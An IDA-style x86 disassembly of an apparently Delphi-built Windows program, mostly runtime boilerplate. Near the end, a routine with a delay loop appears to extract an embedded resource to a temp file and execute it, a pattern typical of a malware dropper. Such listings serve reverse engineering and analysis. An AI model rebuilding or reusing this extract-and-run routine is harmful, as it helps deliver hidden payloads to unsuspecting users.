sub_3D5F9C	endp

; ---------------------------------------------------------------------------
		db 8Dh,	40h, 0

; =============== S U B	R O U T	I N E =======================================



sub_3D5FBC	proc near		; CODE XREF: sub_3D61FC:loc_3D6286p
		xor	edx, edx
		mov	eax, dword_405624
		test	eax, eax
		jz	short locret_3D5FE3
		mov	ecx, fs:[edx]
		cmp	eax, ecx
		jnz	short loc_3D5FD6
		mov	eax, [eax]
		mov	fs:[edx], eax
		retn
; ---------------------------------------------------------------------------


loc_3D5FD4:				; CODE XREF: sub_3D5FBC+21j
		mov	ecx, [ecx]


loc_3D5FD6:				; CODE XREF: sub_3D5FBC+10j
		cmp	ecx, 0FFFFFFFFh
		jz	short locret_3D5FE3
		cmp	[ecx], eax
		jnz	short loc_3D5FD4
		mov	eax, [eax]
		mov	[ecx], eax

locret_3D5FE3:				; CODE XREF: sub_3D5FBC+9j
					; sub_3D5FBC+1Dj
		retn
sub_3D5FBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3D5FE4	proc near		; CODE XREF: sub_3D61FC:loc_3D6255p
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_405620
		mov	eax, [edi+8]
		test	eax, eax
		jz	short loc_3D603E
		mov	ebx, [edi+0Ch]
		mov	esi, [eax+4]
		xor	edx, edx
		push	ebp
		push	offset word_402C2A
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		test	ebx, ebx
		jle	short loc_3D6020


loc_3D600E:				; CODE XREF: sub_3D5FE4+3Aj
		dec	ebx
		mov	[edi+0Ch], ebx
		mov	eax, [esi+ebx*8+4]
		test	eax, eax
		jz	short loc_3D601C
		call	eax


loc_3D601C:				; CODE XREF: sub_3D5FE4+34j
		test	ebx, ebx
		jg	short loc_3D600E


loc_3D6020:				; CODE XREF: sub_3D5FE4+28j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_3D603E
; ---------------------------------------------------------------------------
		dw 2DE9h
		dd 0E8FFFFFCh, 0FFFFFFB0h, 0FFFD87E8h, 0FDD6E8FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_3D603E:				; CODE XREF: sub_3D5FE4+10j
					; sub_3D5FE4+44j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_3D5FE4	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3D6044	proc near		; CODE XREF: sub_3D60A4+3Ap
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_405628
		test	eax, eax
		jz	short loc_3D609E
		mov	esi, [eax]
		xor	ebx, ebx
		mov	edi, [eax+4]
		xor	edx, edx
		push	ebp
		push	offset word_402C8A
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	esi, ebx
		jle	short loc_3D6080


loc_3D606C:				; CODE XREF: sub_3D6044+3Aj
		mov	eax, [edi+ebx*8]
		inc	ebx
		mov	dword_40562C, ebx
		test	eax, eax
		jz	short loc_3D607C
		call	eax


loc_3D607C:				; CODE XREF: sub_3D6044+34j
		cmp	esi, ebx
		jg	short loc_3D606C


loc_3D6080:				; CODE XREF: sub_3D6044+26j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_3D609E
; ---------------------------------------------------------------------------
		dw 0CDE9h
		dd 0E8FFFFFBh, 0FFFFFF50h, 0FFFD27E8h, 0FD76E8FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_3D609E:				; CODE XREF: sub_3D6044+Dj
					; sub_3D6044+44j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_3D6044	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_3D60A4	proc near		; CODE XREF: sub_3D66C8+3Ap
		mov	dword_405010, offset dword_401008
		mov	dword_405014, offset dword_401010
		mov	dword_405628, eax
		xor	eax, eax
		mov	dword_40562C, eax
		mov	dword_405630, edx
		mov	eax, [edx+4]
		mov	dword_40501C, eax
		call	sub_3D5F9C
		mov	byte_405024, 0
		call	sub_3D6044
		retn
sub_3D60A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_3D60E4	proc near		; CODE XREF: sub_3D61FC+38p
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aRuntimeErrorAt ; "Runtime error	 at 00000000"
		mov	cl, 10h
		mov	ebx, dword_404000


loc_3D60F4:				; CODE XREF: sub_3D60E4+33j
		mov	eax, ebx
		mov	edi, 0Ah
		cdq
		idiv	edi
		add	dl, 30h
		xor	eax, eax
		mov	al, cl
		mov	[esi+eax], dl
		mov	eax, ebx
		mov	ebx, 0Ah
		cdq
		idiv	ebx
		mov	ebx, eax
		dec	ecx
		test	ebx, ebx
		jnz	short loc_3D60F4
		mov	cl, 1Ch
		mov	eax, dword_404004


loc_3D6120:				; CODE XREF: sub_3D60E4+54j
		mov	edx, eax
		and	edx, 0Fh
		mov	dl, byte_404074[edx]
		xor	ebx, ebx
		mov	bl, cl
		mov	[esi+ebx], dl
		shr	eax, 4
		dec	ecx
		test	eax, eax
		jnz	short loc_3D6120
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_3D60E4	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================



sub_3D6140	proc near		; CODE XREF: sub_3D61FC+9Ep
		xor	eax, eax
		xchg	eax, dword_404000
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edi, offset dword_405620
		mov	ebx, [edi+18h]
		mov	ebp, [edi+14h]
		push	dword ptr [edi+1Ch]
		push	dword ptr [edi+20h]
		mov	esi, [edi]
		mov	ecx, 0Bh
		rep movsd
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_3D6140	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0C3h, 8Bh, 0C0h

; =============== S U B	R O U T	I N E =======================================



sub_3D6170	proc near		; CODE XREF: sub_3D61FC+3Dp

var_4		= byte ptr -4

		push	ecx
		cmp	byte_405034, 0
		jz	short loc_3D61D1
		cmp	word_405208, 0D7B2h
		jnz	short loc_3D6199
		cmp	dword_405210, 0
		jbe	short loc_3D6199
		mov	eax, offset dword_405204
		call	dword_405220


loc_3D6199:				; CODE XREF: sub_3D6170+13j
					; sub_3D6170+1Cj
		push	0
		lea	eax, [esp+8+var_4]
		push	eax
		push	1Eh
		push	offset aRuntimeErrorAt ; "Runtime error	    at 00000000"
		push	0FFFFFFF5h
		call	sub_3D4400	; GetStdHandle
		push	eax
		call	sub_3D4420	; WriteFile
		push	0
		lea	eax, [esp+8+var_4]
		push	eax
		push	2
		push	offset dword_402DF8
		push	0FFFFFFF5h
		call	sub_3D4400	; GetStdHandle
		push	eax
		call	sub_3D4420	; WriteFile
		pop	edx
		retn
; ---------------------------------------------------------------------------


loc_3D61D1:				; CODE XREF: sub_3D6170+8j
		cmp	byte_404018, 0
		jnz	short loc_3D61ED
		push	0
		push	offset aError	; "Error"
		push	offset aRuntimeErrorAt ; "Runtime error	    at 00000000"
		push	0
		call	sub_3D4430


loc_3D61ED:				; CODE XREF: sub_3D6170+68j
		pop	edx
		retn
sub_3D6170	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 0FFFFFFFFh, 2, 0A0Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_3D61FC	proc near		; CODE XREF: sub_3D62D4+5p
					; .data:003D6967p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, offset dword_405620
		mov	esi, offset dword_404000
		mov	edi, offset dword_405030
		cmp	byte ptr [ebx+28h], 0
		jnz	short loc_3D622B
		cmp	dword ptr [edi], 0
		jz	short loc_3D622B


loc_3D621A:				; CODE XREF: sub_3D61FC+2Dj
		mov	edx, [edi]
		mov	eax, edx
		xor	edx, edx
		mov	[edi], edx
		mov	ebp, eax
		call	ebp
		cmp	dword ptr [edi], 0
		jnz	short loc_3D621A


loc_3D622B:				; CODE XREF: sub_3D61FC+17j
					; sub_3D61FC+1Cj
		cmp	dword_404004, 0
		jz	short loc_3D6245
		call	sub_3D60E4
		call	sub_3D6170
		xor	eax, eax
		mov	dword_404004, eax


loc_3D6245:				; CODE XREF: sub_3D61FC+36j
					; sub_3D61FC+CEj
		cmp	byte ptr [ebx+28h], 2
		jnz	short loc_3D6255
		cmp	dword ptr [esi], 0
		jnz	short loc_3D6255
		xor	eax, eax
		mov	[ebx+0Ch], eax


loc_3D6255:				; CODE XREF: sub_3D61FC+4Dj
					; sub_3D61FC+52j
		call	sub_3D5FE4
		cmp	byte ptr [ebx+28h], 1
		jbe	short loc_3D6265
		cmp	dword ptr [esi], 0
		jz	short loc_3D6286


loc_3D6265:				; CODE XREF: sub_3D61FC+62j
		mov	eax, [ebx+10h]
		test	eax, eax
		jz	short loc_3D6286
		call	sub_3D63F8
		mov	edx, [ebx+10h]
		mov	eax, [edx+10h]
		cmp	eax, [edx+4]
		jz	short loc_3D6286
		test	eax, eax
		jz	short loc_3D6286
		push	eax
		call	sub_3D4438	; FreeLibrary


loc_3D6286:				; CODE XREF: sub_3D61FC+67j
					; sub_3D61FC+6Ej ...
		call	sub_3D5FBC
		cmp	byte ptr [ebx+28h], 1
		jnz	short loc_3D6294
		call	dword ptr [ebx+24h]


loc_3D6294:				; CODE XREF: sub_3D61FC+93j
		cmp	byte ptr [ebx+28h], 0
		jz	short loc_3D629F
		call	sub_3D6140


loc_3D629F:				; CODE XREF: sub_3D61FC+9Cj
		cmp	dword ptr [ebx], 0
		jnz	short loc_3D62BB
		cmp	dword_405018, 0
		jz	short loc_3D62B3
		call	dword_405018


loc_3D62B3:				; CODE XREF: sub_3D61FC+AFj
		mov	eax, [esi]
		push	eax
		call	sub_3D4428	; ExitProcess


loc_3D62BB:				; CODE XREF: sub_3D61FC+A6j
		mov	eax, [ebx]
		push	esi
		mov	esi, eax
		mov	edi, ebx
		mov	ecx, 0Bh
		rep movsd
		pop	esi
		jmp	loc_3D6245
sub_3D61FC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5Dh
		dd 0C35B5E5Fh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_3D62D4	proc near		; CODE XREF: sub_3D5878+6p
					; sub_3D62E0+6j
		mov	dword_404000, eax
		call	sub_3D61FC
sub_3D62D4	endp

; ---------------------------------------------------------------------------
		dw 90C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_3D62E0	proc near		; CODE XREF: sub_3D6638+1Ap
					; sub_3D6638+2Fp
		pop	dword_404004
		jmp	sub_3D62D4
sub_3D62E0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_3D62EC	proc near		; CODE XREF: sub_3D633C+23p
					; .data:003D64C8p
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_3D630E
		mov	dword ptr [eax], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_3D630E
		lock dec dword ptr [edx-8]
		jnz	short locret_3D630E
		push	eax
		lea	eax, [edx-8]
		call	sub_3D5858
		pop	eax

locret_3D630E:				; CODE XREF: sub_3D62EC+4j
					; sub_3D62EC+10j ...
		retn
sub_3D62EC	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_3D6310	proc near		; CODE XREF: sub_3D633C+Bp
		test	eax, eax
		jle	short loc_3D6338
		push	eax
		add	eax, 0Ah
		and	eax, 0FFFFFFFEh
		push	eax
		call	sub_3D5838
		pop	edx
		mov	word ptr [edx+eax-2], 0
		add	eax, 8
		pop	edx
		mov	[eax-4], edx
		mov	dword ptr [eax-8], 1
		retn
; ---------------------------------------------------------------------------


loc_3D6338:				; CODE XREF: sub_3D6310+2j
		xor	eax, eax
		retn
sub_3D6310	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_3D633C	proc near		; CODE XREF: sub_3D636C+12j
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	eax, edi
		call	sub_3D6310
		mov	ecx, edi
		mov	edi, eax
		test	esi, esi
		jz	short loc_3D635D
		mov	edx, eax
		mov	eax, esi
		call	sub_3D58EC


loc_3D635D:				; CODE XREF: sub_3D633C+16j
		mov	eax, ebx
		call	sub_3D62EC
		mov	[ebx], edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_3D633C	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================



sub_3D636C	proc near		; CODE XREF: .data:003D649Ep
		push	edi
		push	eax
		push	ecx
		mov	edi, edx
		xor	eax, eax
		repne scasb
		jnz	short loc_3D6379
		not	ecx


loc_3D6379:				; CODE XREF: sub_3D636C+9j
		pop	eax
		add	ecx, eax
		pop	eax
		pop	edi
		jmp	sub_3D633C
sub_3D636C	endp

; ---------------------------------------------------------------------------
		db 0C3h
		dd 45E911B0h, 0C3FFFFF5h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3D638C	proc near		; CODE XREF: sub_3D63F8+1Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, dword_404020
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_3D63DF


loc_3D63A6:				; CODE XREF: sub_3D638C+51j
		xor	eax, eax
		push	ebp
		push	offset byte_402FC7
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		call	dword ptr [ebx+4]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_3D63D1
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFF890h, 0FFFA43E8h
		db 0FFh
; ---------------------------------------------------------------------------


loc_3D63D1:				; CODE XREF: sub_3D638C+39j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_3D63A6


loc_3D63DF:				; CODE XREF: sub_3D638C+18j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_3D638C	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================



sub_3D63E8	proc near		; CODE XREF: sub_3D66BC+5p
		mov	edx, dword_40401C
		mov	[eax], edx
		mov	dword_40401C, eax
		retn
sub_3D63E8	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_3D63F8	proc near		; CODE XREF: sub_3D61FC+70p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], eax
		xor	edx, edx
		push	ebp
		push	offset dword_40305C
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		call	sub_3D638C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403063
		mov	eax, [ebp+var_4]
		cmp	eax, dword_40401C
		jnz	short loc_3D643C
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	dword_40401C, eax
		jmp	short loc_3D645B
; ---------------------------------------------------------------------------


loc_3D643C:				; CODE XREF: sub_3D63F8+36j
		mov	eax, dword_40401C
		test	eax, eax
		jz	short loc_3D645B


loc_3D6445:				; CODE XREF: sub_3D63F8+61j
		mov	edx, [eax]
		cmp	edx, [ebp+var_4]
		jnz	short loc_3D6455
		mov	edx, [ebp+var_4]
		mov	edx, [edx]
		mov	[eax], edx
		jmp	short loc_3D645B
; ---------------------------------------------------------------------------


loc_3D6455:				; CODE XREF: sub_3D63F8+52j
		mov	eax, [eax]
		test	eax, eax
		jnz	short loc_3D6445


loc_3D645B:				; CODE XREF: sub_3D63F8+42j
					; sub_3D63F8+4Bj ...
		retn
sub_3D63F8	endp

; ---------------------------------------------------------------------------
		dd 0FFF927E9h, 59C2EBFFh, 0C08BC35Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		xor	edx, edx
		mov	[ebp-10h], edx
		xor	edx, edx
		push	ebp
		push	offset word_4030CE
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		push	7
		lea	edx, [ebp-0Bh]
		push	edx
		push	1004h
		push	eax
		call	sub_3D4448	; GetLocaleInfoA
		lea	eax, [ebp-10h]
		lea	edx, [ebp-0Bh]
		mov	ecx, 7
		call	sub_3D636C
		mov	eax, [ebp-10h]
		lea	edx, [ebp-4]
		call	sub_3D5984
		mov	ebx, eax
		cmp	dword ptr [ebp-4], 0
		jz	short loc_3D64B8
		xor	ebx, ebx


loc_3D64B8:				; CODE XREF: .data:003D64B4j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4030D5
		lea	eax, [ebp-10h]
		call	sub_3D62EC
		retn
; ---------------------------------------------------------------------------
		dw 0B5E9h
		dd 0EBFFFFF8h, 5BC38BF0h, 0C35DE58Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset word_403126
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	dword_4055A4
		jnz	short loc_3D6518
		mov	eax, offset dword_405038
		call	sub_3D592C
		mov	eax, offset dword_405204
		call	sub_3D592C
		mov	eax, offset dword_4053D0
		call	sub_3D592C
		call	sub_3D4C3C


loc_3D6518:				; CODE XREF: .data:003D64F3j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40312D
		retn
; ---------------------------------------------------------------------------
		dw 5DE9h
		dd 0EBFFFFF8h, 90C35DF8h, 55A42D83h, 0F010040h,	0C583h
		dd 805C600h, 2004040h, 501005C7h, 10080040h, 5C70040h
		dd 405014h, 401010h, 503605C6h,	0C7020040h, 40500005h
		dd 402F8400h, 0F4F2E800h, 0C084FFFFh, 19E80574h, 0E8FFFFF5h
		dd 0FFFFF5D8h, 3C05C766h, 0B0004050h, 5C766D7h,	405208h
		dd 0C766D7B0h, 4053D405h, 0E8D7B000h, 0FFFFDEA4h, 40502CA3h
		dd 0DEE2E800h, 28A3FFFFh, 0E8004050h, 0FFFFDED0h, 25h
		dd 3D80h, 2D748000h, 0FFDEBFE8h, 0FF25FFh, 83660000h, 0C7604F8h
		dd 55A805C7h, 30040h, 20EB0000h, 0FFDE7BE8h, 0FE86E8FFh
		dd 0A8A3FFFFh, 0EB004055h, 0DE6AE80Fh, 75E8FFFFh, 0A3FFFFFEh
		dd 4055A8h, 0FFDE7BE8h,	5020A3FFh, 90C30040h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D6604	proc near		; CODE XREF: sub_3D66C8+Cp
		jmp	dword_4060F8
sub_3D6604	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D660C	proc near		; CODE XREF: sub_3D6624+3p
		jmp	dword_4060F4
sub_3D660C	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D6614	proc near		; CODE XREF: sub_3D667C+25p
					; sub_3D667C+36p
		jmp	dword_4060F0
sub_3D6614	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D661C	proc near		; CODE XREF: sub_3D6638+3Dp
		jmp	dword_4060EC
sub_3D661C	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================



sub_3D6624	proc near		; CODE XREF: sub_3D6638+21p
		push	eax
		push	40h
		call	sub_3D660C
		retn
sub_3D6624	endp

; ---------------------------------------------------------------------------
		db 8Dh,	40h, 0

; =============== S U B	R O U T	I N E =======================================



sub_3D6630	proc near		; CODE XREF: sub_3D6638+1p
		mov	eax, 8
		retn
sub_3D6630	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================



sub_3D6638	proc near		; CODE XREF: sub_3D667C:loc_3D6696p
		push	ebx
		call	sub_3D6630
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_3D667A
		cmp	dword_404084, 0FFFFFFFFh
		jnz	short loc_3D6657
		mov	eax, 0E2h
		call	sub_3D62E0
; ---------------------------------------------------------------------------


loc_3D6657:				; CODE XREF: sub_3D6638+13j
		mov	eax, ebx
		call	sub_3D6624
		test	eax, eax
		jnz	short loc_3D666E
		mov	eax, 0E2h
		call	sub_3D62E0
; ---------------------------------------------------------------------------
		db 0EBh, 0Ch
; ---------------------------------------------------------------------------


loc_3D666E:				; CODE XREF: sub_3D6638+28j
		push	eax
		mov	eax, dword_404084
		push	eax
		call	sub_3D661C


loc_3D667A:				; CODE XREF: sub_3D6638+Aj
		pop	ebx
		retn
sub_3D6638	endp


; =============== S U B	R O U T	I N E =======================================



sub_3D667C	proc near		; CODE XREF: sub_3D5884+20p
					; sub_3D58DC+3p
		mov	cl, byte_40564C
		mov	eax, dword_404084
		test	cl, cl
		jnz	short loc_3D66B1
		mov	edx, large fs:2Ch
		mov	eax, [edx+eax*4]
		retn
; ---------------------------------------------------------------------------


loc_3D6696:				; CODE XREF: sub_3D667C+3Dj
		call	sub_3D6638
		mov	eax, dword_404084
		push	eax
		call	sub_3D6614
		test	eax, eax
		jz	short loc_3D66AB
		retn
; ---------------------------------------------------------------------------


loc_3D66AB:				; CODE XREF: sub_3D667C+2Cj
		mov	eax, dword_405658
		retn
; ---------------------------------------------------------------------------


loc_3D66B1:				; CODE XREF: sub_3D667C+Dj
		push	eax
		call	sub_3D6614
		test	eax, eax
		jz	short loc_3D6696
		retn
sub_3D667C	endp


; =============== S U B	R O U T	I N E =======================================



sub_3D66BC	proc near		; CODE XREF: sub_3D66C8+2Ep
		mov	eax, offset dword_404088
		call	sub_3D63E8
		retn
sub_3D66BC	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_3D66C8	proc near		; CODE XREF: .data:003D694Bp
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	dword_404084, eax
		push	0
		call	sub_3D6604
		mov	dword_405650, eax
		mov	eax, dword_405650
		mov	dword_40408C, eax
		xor	eax, eax
		mov	dword_404090, eax
		xor	eax, eax
		mov	dword_404094, eax
		call	sub_3D66BC
		mov	edx, offset dword_404088
		mov	eax, ebx
		call	sub_3D60A4
		pop	ebx
		retn
sub_3D66C8	endp

; ---------------------------------------------------------------------------
		db 8Dh,	40h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset byte_403331
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	dword_405654
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403338
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 52h, 0F6h
		dd 0F8EBFFFFh, 0C08BC35Dh, 56542D83h, 0C3010040h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset byte_403369
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	dword_40565C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403370
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 1Ah, 0F6h
		dd 0F8EBFFFFh, 0C08BC35Dh, 565C2D83h, 0C3010040h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D677C	proc near		; CODE XREF: .data:003D68C7p
		jmp	dword_406130
sub_3D677C	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D6784	proc near		; CODE XREF: .data:003D689Bp
		jmp	dword_40612C
sub_3D6784	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D678C	proc near		; CODE XREF: .data:003D695Bp
		jmp	dword_406128
sub_3D678C	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D6794	proc near		; CODE XREF: .data:003D6962p
		jmp	dword_406124
sub_3D6794	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D679C	proc near		; CODE XREF: .data:003D685Bp
		jmp	dword_406120
sub_3D679C	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D67A4	proc near		; CODE XREF: .data:003D684Cp
		jmp	dword_40611C
sub_3D67A4	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D67AC	proc near		; CODE XREF: .data:003D68B4p
		jmp	dword_406118
sub_3D67AC	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D67B4	proc near		; CODE XREF: .data:003D68BAp
		jmp	dword_406114
sub_3D67B4	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D67BC	proc near		; CODE XREF: .data:003D68ABp
		jmp	dword_406110
sub_3D67BC	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D67C4	proc near		; CODE XREF: .data:003D68D5p
		jmp	dword_40610C
sub_3D67C4	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D67CC	proc near		; CODE XREF: .data:003D68C1p
		jmp	dword_406108
sub_3D67CC	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D67D4	proc near		; CODE XREF: .data:003D687Dp
		jmp	dword_406104
sub_3D67D4	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_3D67DC	proc near		; CODE XREF: .data:003D686Ap
		jmp	dword_406100
sub_3D67DC	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset byte_403409
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	dword_405660
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403410
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 7Ah, 0F5h
		dd 0F8EBFFFFh, 0C08BC35Dh, 56602D83h, 0C3010040h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFCF4h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+10h]
		mov	eax, 0


loc_3D6830:				; CODE XREF: .data:003D683Cj
		inc	eax
		nop
		nop
		nop
		add	ecx, 1
		cmp	eax, 56904055h
		jl	short loc_3D6830
		xor	eax, eax
		lea	eax, [ebp-309h]
		push	eax
		push	104h
		call	sub_3D67A4
		or	edi, 0FFFFFFFFh
		mov	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	0
		call	sub_3D679C
		mov	ebx, eax
		push	esi
		lea	eax, [ebp-205h]
		push	eax
		call	sub_3D67DC
		lea	eax, [ebp-205h]
		push	eax
		lea	eax, [ebp-309h]
		push	eax
		call	sub_3D67D4
		push	1
		push	80h
		push	2
		push	0
		push	2
		push	40000000h
		lea	eax, [ebp-309h]
		push	eax
		call	sub_3D6784
		mov	esi, eax
		push	0
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	0
		call	sub_3D67BC
		push	eax
		push	ebx
		push	0
		call	sub_3D67AC
		push	eax
		call	sub_3D67B4
		push	eax
		push	esi
		call	sub_3D67CC
		push	esi
		call	sub_3D677C
		push	5
		lea	eax, [ebp-309h]
		push	eax
		call	sub_3D67C4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; ---------------------------------------------------------------------------
		db 8Dh,	40h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset byte_403507
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40350E
		retn
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFF47Ch, 0C35DF8EBh, 5, 403518h, 40333Ch,	40330Ch
		dd 403130h, 4030DCh, 403374h, 403344h, 403414h,	4033E4h
		dd 0
		dd offset loc_4034E8
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	eax, offset dword_403510
		call	sub_3D66C8
		push	0
		push	offset loc_40341C
		push	0Ah
		push	0
		call	sub_3D678C
		push	0
		call	sub_3D6794
		call	sub_3D61FC
